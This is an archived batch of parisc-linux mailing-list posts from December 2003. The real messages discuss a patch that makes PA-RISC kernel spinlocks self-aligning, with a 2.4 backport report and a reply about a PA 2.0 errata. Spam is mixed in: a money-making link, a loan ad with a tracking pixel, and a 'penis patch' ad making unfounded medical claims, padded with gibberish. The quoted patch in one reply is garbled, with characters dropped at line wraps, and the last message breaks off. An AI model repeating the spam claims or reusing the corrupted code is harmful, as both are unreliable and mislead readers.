Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spinlock 2.4 re-organise a la 2.6 [was: [RFC] rewrite kernel spinlock code to work better with gcc]
Date: Mon, 1 Dec 2003 08:00:33 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <3FB265EC0000AD9F@ocpmta3.freegates.net>
References: <20031130211014.GA5208@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623010 2492 80.91.229.3 (22 Nov 2014 02:23:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  1 00:00:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 01F8E4914
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Dec 2003 00:00:35 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AQi2r-00063K-00; Mon, 01 Dec 2003 08:00:33 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 1 Dec 2003 08:00:33 +0100
In-Reply-To: <20031130211014.GA5208@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20254

>I added spinlock_t.h to resolve the circular inter-dependency between
>asm/system.h, asm/bitops.h, and asm/spinlock.h.  spinlock_t.h depends
>on nothing and defines spinlock primitives used by the others.

I see (forgive)

Joel


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Wilma Peterson" <792xmiakws@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FINANCIAL Independence Is Calling You...cais
Date: Tue, 02 Dec 2003 04:51:41 +0400
Lines: 57
Approved: news@gmane.org
Message-ID: <gc954w5360635lf$phqt@918787myinp2>
Reply-To: "Wilma Peterson" <792xmiakws@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="_.27ECCB5.F.F974"
X-Trace: ger.gmane.org 1416623010 2497 80.91.229.3 (22 Nov 2014 02:23:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:30 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  1 05:57:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [200.101.34.146])
	by dsl2.external.hp.com (Postfix) with SMTP id 7F0874845
	for <parisc-linux@parisc-linux.org>; Mon,  1 Dec 2003 05:57:21 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20255

--_.27ECCB5.F.F974
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

Got your attention?

Let me show you the way Financial Independence: www.saax.org?axel=3D49 









No more advertisements, thanks - www.5jzd.org/out5s/pre-rem2e.asp




























okg r pb
ffq  s pcjftbi
pvs
g
s
aa yrzcw
okmhfjowmadhstwajx fkhyug
ysgvnmk

--_.27ECCB5.F.F974--



From - Thu Nov 08 21:30:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] [RFC] rewrite kernel spinlock code to work better with gcc
Date: Mon, 1 Dec 2003 16:14:35 +0100
Lines: 246
Approved: news@gmane.org
Message-ID: <3FB265EC0000B651@ocpmta3.freegates.net>
References: <20031126070714.GN975@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623010 2499 80.91.229.3 (22 Nov 2014 02:23:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:30 +0000 (UTC)
To: "Randolph Chung" <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  1 08:14:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D1B634841
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Dec 2003 08:14:39 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AQpkx-00066a-00; Mon, 01 Dec 2003 16:14:35 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 1 Dec 2003 16:14:35 +0100
In-Reply-To: <20031126070714.GN975@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20256

Hi Randolph,

(Just in case it would help) I backport your patch in 2.4 (just because the
only system on which I can test it is a b2k on which 2.6 doesn't boot yet)
and build a smp 64bit kernel which boot and run fine (rebuild another kernel)
on this b2k:)

Joel

ps: I don't yet investigate Dave idea :(

>-- Original Message --
>From: Randolph Chung <randolph@tausq.org>
>To: parisc-linux@lists.parisc-linux.org
>Reply-To: Randolph Chung <randolph@tausq.org>
>Date: Tue, 25 Nov 2003 23:07:14 -0800
>Subject: [parisc-linux] [RFC] rewrite kernel spinlock code to work better
>with gcc
>
>
>This has been discussed in bits and pieces several times on the list,
let me summarize:

- On at least some PA processors, addresses passed to ldcw() must be
16-byte aligned
- gcc doesn't guarantee alignment of automatic variables even if the
str
>cture is marked with aligned(16). In gcc-3.0.x, this worked most of
the time because stack alignment was set to 128 bits, but this caused
various problems so the change was reverted in later revisions of gcc.

In glibc, Carlos and Dave implemented 
>auto-aligning" locks by using an
array of 4 ints and doing ldcw on the 16-byte aligned word inside that
array. This makes the code work all the time irregardless of how it is
placed in memory. Here's a patch that implements similar locking
mechanis
>s for the kernel. It compiles, but as SMP still doesn't boot
on 2.6, i haven't really tried to run it. 

there is some concern this will make structures bigger, but at least 
in some situations this actually makes them smaller. e.g.
if you have:

>
struct { int x; spinlock_t lock; };

with the current scheme (using the aligned(16) attribute) the structure
is 32 bytes. with the new scheme it is only 20 bytes. actually i don't
think there are any cases where it will make any structures bigger 
>
than they are now..... 

Any comments?

Index: include/asm-parisc/spinlock.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/spinlock.h,v
retrieving revision 1.1
diff -u -p -r
>.1 spinlock.h
--- include/asm-parisc/spinlock.h	29 Jul 2003 17:02:04 -0000	1.1
+++ include/asm-parisc/spinlock.h	26 Nov 2003 07:00:12 -0000
@@ -4,35 +4,42 @@
 #include <asm/system.h>
 
 /* Note that PA-RISC has to use `1' to mean unlocked and `0'
>to mean locked
- * since it only has load-and-zero.
+ * since it only has load-and-zero. Moreover, at least on some PA processors,
+ * the semaphore address has to be 16-byte aligned.
  */
 
 #undef SPIN_LOCK_UNLOCKED
-#define SPIN_LOCK_UNLOCKED
>(spinlock_t) { 1 }
+#define SPIN_LOCK_UNLOCKED (spinlock_t) { { 1, 1, 1, 1 } }
 
-#define spin_lock_init(x)	do { (x)->lock = 1; } while(0)
+#define spin_lock_init(x)	do { *(x) = SPIN_LOCK_UNLOCKED; } while(0)
 
-#define spin_is_locked(x) ((x)->lo
>k == 0)
-
-#define spin_unlock_wait(x)	do { barrier(); } while(((volatile spinlock_t
*)(x))->lock == 0)
-
-#if 1
-#define _raw_spin_lock(x) do { \
-	while (__ldcw (&(x)->lock) == 0) \
-		while (((x)->lock) == 0) ; } while (0)
-
-#else
-#defin
> _raw_spin_lock(x) \
-	do { while(__ldcw(&(x)->lock) == 0); } while(0)
-#endif
+static inline int spin_is_locked(spinlock_t *x)
+{
+	volatile unsigned int *a = __ldcw_align(x);
+	return *a == 0;
+}
+
+#define spin_unlock_wait(x)	do { barrier()
> } while(spin_is_locked(x))
+
+static inline void _raw_spin_lock(spinlock_t *x)
+{
+	volatile unsigned int *a = __ldcw_align(x);
+	while (__ldcw(a) == 0)
+		while (*a == 0);
+}
+
+static inline void _raw_spin_unlock(spinlock_t *x)
+{
+	volat
>le unsigned int *a = __ldcw_align(x);
+	*a = 1;
+}
+
+static inline int _raw_spin_trylock(spinlock_t *x)
+{
+	volatile unsigned int *a = __ldcw_align(x);
+	return __ldcw(a) != 0;
+}
 	
-#define _raw_spin_unlock(x) \
-	do { (x)->lock = 1; } w
>ile(0)
-
-#define _raw_spin_trylock(x) (__ldcw(&(x)->lock) != 0)
-
-
-
 /*
  * Read-write spinlocks, allowing multiple readers
  * but only one writer.
@@ -42,7 +49,7 @@ typedef struct {
 	volatile int counter;
 } rwlock_t;
 
-#define RW_L
>CK_UNLOCKED (rwlock_t) { {1}, 0 }
+#define RW_LOCK_UNLOCKED (rwlock_t) { { { 1, 1, 1, 1 } }, 0 }
 
 #define rwlock_init(lp)	do { *(lp) = RW_LOCK_UNLOCKED; } while (0)
 
Index: include/asm-parisc/system.h
==========================================
>========================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/system.h,v
retrieving revision 1.1
diff -u -p -r1.1 system.h
--- include/asm-parisc/system.h	29 Jul 2003 17:02:04 -0000	1.1
+++ include/asm-parisc/system.h	26 Nov 2003 07:00:
>2 -0000
@@ -145,6 +145,19 @@ static inline void set_eiem(unsigned lon
 	__ret; \
 })
 
+/* Because kmalloc only guarantees 8-byte alignment for kmalloc'd data,
+   and GCC only guarantees 8-byte alignment for stack locals, we can't
+   be assure
> of 16-byte alignment for atomic lock data even if we
+   specify "__attribute ((aligned(16)))" in the type declaration.  So,
+   we use a struct containing an array of four ints for the atomic lock
+   type and dynamically select the 16-byte aligne
> int from the array
+   for the semaphore.  */
+#define __PA_LDCW_ALIGNMENT 16
+#define __ldcw_align(a) ({ \
+  unsigned long __ret = (unsigned long) a;                     		\
+  __ret = (__ret + __PA_LDCW_ALIGNMENT - 1) & ~(__PA_LDCW_ALIGNMENT -
>1); \
+  (unsigned int *) __ret;                                              
\
+})
 
 #ifdef CONFIG_SMP
 /*
@@ -152,7 +165,7 @@ static inline void set_eiem(unsigned lon
  */
 
 typedef struct {
-	volatile unsigned int __attribute__((aligned
>16))) lock;
+	volatile unsigned int lock[4];
 } spinlock_t;
 #endif
Index: include/asm-parisc/atomic.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/atomic.h,v
retrieving revi
>ion 1.5
diff -u -p -r1.5 atomic.h
--- include/asm-parisc/atomic.h	22 Sep 2003 14:28:12 -0000	1.5
+++ include/asm-parisc/atomic.h	26 Nov 2003 07:00:12 -0000
@@ -24,11 +24,18 @@
 
 extern spinlock_t __atomic_hash[ATOMIC_HASH_SIZE];
 /* copied from
><asm/spinlock.h> and modified */
-#  define SPIN_LOCK(x) \
-	do { while(__ldcw(&(x)->lock) == 0); } while(0)
-	
-#  define SPIN_UNLOCK(x) \
-	do { (x)->lock = 1; } while(0)
+static inline void SPIN_LOCK(spinlock_t *x)
+{
+	volatile unsigned int
>*a = __ldcw_align(x);
+	while (__ldcw(a) == 0)
+		while (*a == 0);
+}
+
+static inline void SPIN_UNLOCK(spinlock_t *x)
+{
+	volatile unsigned int *a = __ldcw_align(x);
+	*a = 1;
+}
 #else
 #  define ATOMIC_HASH_SIZE 1
 #  define ATOMIC_HASH
>a)	(0)


randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.or
>/mailman/listinfo/parisc-linux



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] rewrite kernel spinlock code to work better with gcc
Date: Mon, 1 Dec 2003 13:30:07 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200312011830.hB1IU7in003367@hiauly1.hia.nrc.ca>
References: <3FB265EC0000B651@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623011 2502 80.91.229.3 (22 Nov 2014 02:23:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:31 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  1 11:30:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 911E84841
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Dec 2003 11:30:10 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id hB1IU92v003368;
	Mon, 1 Dec 2003 13:30:09 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hB1IU7in003367;
	Mon, 1 Dec 2003 13:30:07 -0500 (EST)
In-Reply-To: <3FB265EC0000B651@ocpmta3.freegates.net> from "Joel Soete" at Dec 1, 2003 04:14:35 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20257

> (Just in case it would help) I backport your patch in 2.4 (just because the
> only system on which I can test it is a b2k on which 2.6 doesn't boot yet)
> and build a smp 64bit kernel which boot and run fine (rebuild another kernel)
> on this b2k:)

I'd forgotten about the "ldcw,co" errata for PA 2.0.  You only want/need
self-aligning locks for PA 1.x.  You should be able to test this on a
PA 2.0 machine if you don't define CONFIG_PA20.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: yOffers <confirm@javaexpressions.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] adv:  Start December with New Loans!
Date: Mon, 1 Dec 2003 14:34:35 -0500
Lines: 9
Approved: news@gmane.org
Message-ID: <U1F60RBI628Z0LO06EJ90Z2W0@0I08KUJCZ5377DU029I3F81J7>
Reply-To: <confirm@javaexpressions.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset = "iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623011 2505 80.91.229.3 (22 Nov 2014 02:23:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:31 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  1 17:20:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cp3.cpermission.com (cp3.cpermission.com [206.162.135.196])
	by dsl2.external.hp.com (Postfix) with SMTP id DF9234852
	for <parisc-linux@lists.parisc-linux.org>; Mon,  1 Dec 2003 17:20:04 -0700 (MST)
X-Mailer: Message sent on behalf of client: yoffers
Abuse: abuse-QwsKbcecidbg-hgbehif-yoffers@msg.cpermission.com
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20258

<html>
<body><IMG SRC='http://cpermission.com/eonmp.php?n87e179594e668bcecidbg.761478587e179594e66823parisc-linuxlists.parisc-linux.org87e179594e668yoffers' HEIGHT='1' WIDTH='1' BORDER='0'><BR><br>
<a href="http://javaexpressions.net"><img src="http://javaexpressions.net/emails/48/mortgage_app_email.jpg" border=0></a><p><p>
<br><font size=1> This e-mail is a commercial advertisement from JavaExpressions sent to you on 12/1/03 at 12:30 PM PST and is intended to provide consumer financial information which may be of interest to you. If you would prefer not to receive any additional e-mail information from JavaExpressions, please click on the unsubscribe link below. Please allow a reasonable response time not to exceed three (3) days after which you will be removed from our e-mail database. JavaExpressions may be contacted by email at confirm@javaexpressions.net. </font>
<br>
<br><table border='0' bgcolor='#FFFFFF'><tr><td><font face=arial size=1 color='#000000'>If you believe this is spam, click <a href="http://cpermission.com/pqaenetqkdt.php?n87e179594e668bcecidbg.761478587e179594e66823parisc-linuxlists.parisc-linux.org87e179594e668yoffers">here</a>.</font></td></tr></table><br><br><hr><table border='0' bgcolor='#FFFFFF'><tr><td><font face=arial size=1 color='#000000'>To unsubscribe, click <a href="http://cpermission.com/roodp.php?n87e179594e668bcecidbg.761478587e179594e66823parisc-linuxlists.parisc-linux.org87e179594e668yoffers.1.0">here</a>.</font></td></tr></table><br>
</body>
</html>


From - Thu Nov 08 21:30:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alejandra Meza" <star@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] fast pills overnight y ad
Date: Tue, 02 Dec 03 04:59:53 GMT
Lines: 50
Approved: news@gmane.org
Message-ID: <dvrg6$g$5o2$5l@zp1.784m>
Reply-To: "Alejandra Meza" <star@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="4.._F1_E_6A2F2E33D_9A14"
X-Trace: ger.gmane.org 1416623011 2507 80.91.229.3 (22 Nov 2014 02:23:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:31 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  1 19:56:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A7BB4845
	for <parisc-linux@parisc-linux.org>; Mon,  1 Dec 2003 19:56:45 -0700 (MST)
Original-Received: from cpe00c04f4972ef-cm.cpe.net.cable.rogers.com (CPE00c04f4972ef-CM.cpe.net.cable.rogers.com [24.157.231.27])
	by cuprel1.hp.com (Postfix) with SMTP id 81945A21
	for <parisc-linux@parisc-linux.org>; Mon,  1 Dec 2003 18:56:34 -0800 (PST)
Original-Received: from [250.38.86.132] by cpe00c04f4972ef-cm.cpe.net.cable.rogers.com id b4NG7rXh19J2; Tue, 02 Dec 2003 04:59:53 +0200
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20259

--4.._F1_E_6A2F2E33D_9A14
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>fast pills overnight y ad 
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#000000" font color=3D"#000000" face=3D"verdana" link=3D"=
#FF0000" alink=3D"#FF0000" vlink=3D"#00FF00" text=3D"#000000" >
<center><H3><font color=3D"#FFFFFF" face=3D"verdana">Real Doctors, Real Sc=
ience, Real Results!</font><br><br><font color=3D"#FFCC00" face=3D"verdana=
">The Magna-RX Patch is far more effective, more potent,<br>
    and definitely more convenient than any enlargement pill on the market=
</font></H3>
</center><br><center><font color=3D"#FFCC00" face=3D"verdana">
<H4>The Magna-RX Patch was designed for men like yourself who want<br> a b=
igger, thicker, more energetic penis!</H4></font></center><br> <center><fo=
nt color=3D"#FFCC00" face=3D"verdana"><H4>Your penis will dramatically inc=
rease it's size<br>Your libido and energy level will soar<br> and you will=
 satisfy your lover and yourself,<br> like never before!</H4></font></cent=
er><br><center>
<a href=3D"http://offerz.biz/buster/patch/
"><H2>100% Money Back Guarantee<br>If you are not amazed with the Pe-nis P=
atch</H2></a></center><br>
<p align=3D"center"><a href=3D"http://offerz.biz/buster/out.html">Remove M=
y Email</a></p>


zq nvmaimsgolrsszuwmf  cdlrmv 
twqlsdpub






</body>
</html>
htfbgqmlg
y vhfhxqdzawvbd
ol wi
sopuqh n

--4.._F1_E_6A2F2E33D_9A14--



From - Thu Nov 08 21:30:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alisa Frank" <marilyn@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Incredible supplement for men and love ds kwrle
Date: Tue, 02 Dec 03 09:07:02 GMT
Lines: 46
Approved: news@gmane.org
Message-ID: <522e8y$3-ndc5041-149ch$m5u@943ty>
Reply-To: "Alisa Frank" <marilyn@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="_.5C5BF.A._A1__DA..9_"
X-Trace: ger.gmane.org 1416623012 2509 80.91.229.3 (22 Nov 2014 02:23:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec  2 05:13:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF7004840
	for <parisc-linux@parisc-linux.org>; Tue,  2 Dec 2003 05:13:36 -0700 (MST)
Original-Received: from ool-44c465f0.dyn.optonline.net (ool-44c465f0.dyn.optonline.net [68.196.101.240])
	by cuprel1.hp.com (Postfix) with SMTP id 7B592AC4
	for <parisc-linux@parisc-linux.org>; Tue,  2 Dec 2003 04:13:35 -0800 (PST)
Original-Received: from [31.112.29.36] by ool-44c465f0.dyn.optonline.net id JNcrZ72glX06 for <parisc-linux@parisc-linux.org>; Tue, 02 Dec 2003 09:07:02 -0400
X-Mailer: Microsoft Outlook, Build 10.0.2616
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20260

--_.5C5BF.A._A1__DA..9_
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

